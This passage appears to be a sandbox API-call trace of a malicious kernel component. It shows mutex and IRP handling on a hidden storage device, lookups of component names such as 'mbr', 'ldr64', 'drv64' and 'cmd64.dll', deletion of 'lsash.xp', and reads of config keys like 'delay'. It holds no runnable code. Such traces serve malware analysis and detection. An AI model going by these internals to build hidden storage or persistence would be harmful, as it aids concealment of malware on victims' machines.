[0119.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.524] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.524] IdePortDispatch () returned 0x103 [0119.525] KeWaitForMutexObject () returned 0x0 [0119.525] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.525] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.525] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.525] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.525] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.525] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.525] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.525] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.525] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.525] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.525] KeLeaveCriticalRegion () [0119.525] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.525] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.525] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.525] KeEnterCriticalRegion () [0119.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.525] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.525] IdePortDispatch () returned 0x103 [0119.525] KeWaitForMutexObject () returned 0x0 [0119.525] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.525] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.525] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.525] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.525] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.525] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.525] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.525] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.525] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.525] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.525] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.526] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.526] KeLeaveCriticalRegion () [0119.526] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.526] ReleaseMutex (hMutex=0x100) returned 1 [0119.526] Sleep (dwMilliseconds=0x2bf20) [0119.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a707f10, dwHighDateTime=0x1d24fa4)) [0119.532] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.532] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.532] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.532] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.532] KeEnterCriticalRegion () [0119.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.532] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.532] IdePortDispatch () returned 0x103 [0119.532] KeWaitForMutexObject () returned 0x0 [0119.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1b00 [0119.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.532] KeLeaveCriticalRegion () [0119.532] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.532] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.532] KeEnterCriticalRegion () [0119.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.532] KeLeaveCriticalRegion () [0119.532] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.533] KeEnterCriticalRegion () [0119.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.533] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.533] IdePortDispatch () returned 0x103 [0119.533] KeWaitForMutexObject () returned 0x0 [0119.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.533] KeLeaveCriticalRegion () [0119.533] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.533] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.533] KeEnterCriticalRegion () [0119.533] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.533] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da3000 [0119.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.533] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.533] IdePortDispatch () returned 0x103 [0119.533] KeWaitForMutexObject () returned 0x0 [0119.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.533] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.534] IdePortDispatch () returned 0x103 [0119.534] KeWaitForMutexObject () returned 0x0 [0119.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.534] KeLeaveCriticalRegion () [0119.534] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.534] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.534] KeEnterCriticalRegion () [0119.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.534] KeLeaveCriticalRegion () [0119.534] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.535] KeEnterCriticalRegion () [0119.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.535] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.535] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.535] KeLeaveCriticalRegion () [0119.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.535] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.535] KeEnterCriticalRegion () [0119.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.535] ExFreePoolWithTag (P=0xfffffa8003aa1b00, Tag=0x0) [0119.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.535] KeLeaveCriticalRegion () [0119.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.535] ReleaseMutex (hMutex=0xf0) returned 1 [0119.535] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.535] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.535] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.535] KeEnterCriticalRegion () [0119.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.535] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.535] IdePortDispatch () returned 0x103 [0119.535] KeWaitForMutexObject () returned 0x0 [0119.535] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.535] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.535] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.535] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.535] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.535] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdabc0 [0119.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.535] KeLeaveCriticalRegion () [0119.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.535] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.535] KeEnterCriticalRegion () [0119.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.536] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.536] KeLeaveCriticalRegion () [0119.536] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.536] KeEnterCriticalRegion () [0119.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.536] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.536] IdePortDispatch () returned 0x103 [0119.536] KeWaitForMutexObject () returned 0x0 [0119.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.536] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.536] KeLeaveCriticalRegion () [0119.536] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.536] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.536] KeEnterCriticalRegion () [0119.536] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.536] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da4000 [0119.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.536] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.536] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.536] IdePortDispatch () returned 0x103 [0119.536] KeWaitForMutexObject () returned 0x0 [0119.536] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.536] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.536] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.537] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.537] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.537] IdePortDispatch () returned 0x103 [0119.537] KeWaitForMutexObject () returned 0x0 [0119.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.537] KeLeaveCriticalRegion () [0119.537] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.537] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.537] KeEnterCriticalRegion () [0119.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.537] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.537] KeLeaveCriticalRegion () [0119.537] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.537] KeEnterCriticalRegion () [0119.537] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.537] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.537] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.537] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] KeLeaveCriticalRegion () [0119.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.538] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.538] KeEnterCriticalRegion () [0119.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] ExFreePoolWithTag (P=0xfffffa8003bdabc0, Tag=0x0) [0119.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] KeLeaveCriticalRegion () [0119.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.538] ReleaseMutex (hMutex=0xf0) returned 1 [0119.538] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.538] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.538] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.538] KeEnterCriticalRegion () [0119.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.538] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.538] IdePortDispatch () returned 0x103 [0119.538] KeWaitForMutexObject () returned 0x0 [0119.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.538] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.538] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.538] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.538] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.538] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1f10 [0119.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] KeLeaveCriticalRegion () [0119.538] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.538] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.538] KeEnterCriticalRegion () [0119.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.538] KeLeaveCriticalRegion () [0119.539] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.539] KeEnterCriticalRegion () [0119.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.539] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.539] IdePortDispatch () returned 0x103 [0119.540] KeWaitForMutexObject () returned 0x0 [0119.540] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.540] KeLeaveCriticalRegion () [0119.540] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.540] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.540] KeEnterCriticalRegion () [0119.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.540] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da5000 [0119.540] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.540] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.540] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.540] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.540] IdePortDispatch () returned 0x103 [0119.541] KeWaitForMutexObject () returned 0x0 [0119.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.541] MmProbeAndLockPages (in: 